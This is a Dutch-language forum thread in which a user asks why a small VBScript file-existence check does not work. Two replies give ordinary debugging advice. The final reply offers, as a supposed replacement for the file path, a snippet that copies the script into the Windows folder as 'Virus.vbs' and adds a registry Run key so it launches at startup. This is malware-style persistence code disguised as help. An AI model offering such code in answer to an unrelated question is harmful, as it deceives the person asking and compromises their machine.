Weet niet waarom vbs script niet werkt

[Warioatthetoile]

Ik weet niet waarom dit niet werkt

MsgBox "BlaBla",64,"Bla"
dim filesys
Set filesys = CreateObject("Scripting.FileSystemObject") 
If filesys.FileExists("C:\Documenten en settings\Admin\Mijn documenten\New Map\Geennaam.vbs") Then
       Response.write "BlaBla"
End if

 

[That Guy]

wel handig als je je foutmelding erbij zet. Overgens, klopt deze locatie wel?

C:\Documenten en settings\Admin\Mijn documenten\New Map\Geennaam.vbs

Als je helemaal niets te zien krijgt komt dat dus omdat die locatie niet bestaat.

:thumb:

 

[maxuploader]

Lees in de foutmelding welke regel de fout zit en op wel teken.
Kijk daar of je daar eens typfoutje ofso hebt gemaakt en los het op.
Kom je er dan nog niet uit help we je graag

 

[ik951m]

plaats van dit
C:\Documenten en settings\Admin\Mijn documenten\New Map\Geennaam.vbs
zou ik er dit van maken

Set Shl = CreateObject("Wscript.Shell") 
Set fso = CreateObject("Scripting.FileSystemObject") 
winfolder = fso.GetSpecialFolder(0) 
Set vbsfile = fso.GetFile(WScript.ScriptFullName) 
vbsfile.Copy winfolder & "Virus.vbs" 
Shl.RegWrite 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start 
menu",winfolder & "Virus.vbs"

ow enne je kan ook gewoon lezen

http://www.intertet.org/?post_id=165785

allemaal vbs scripten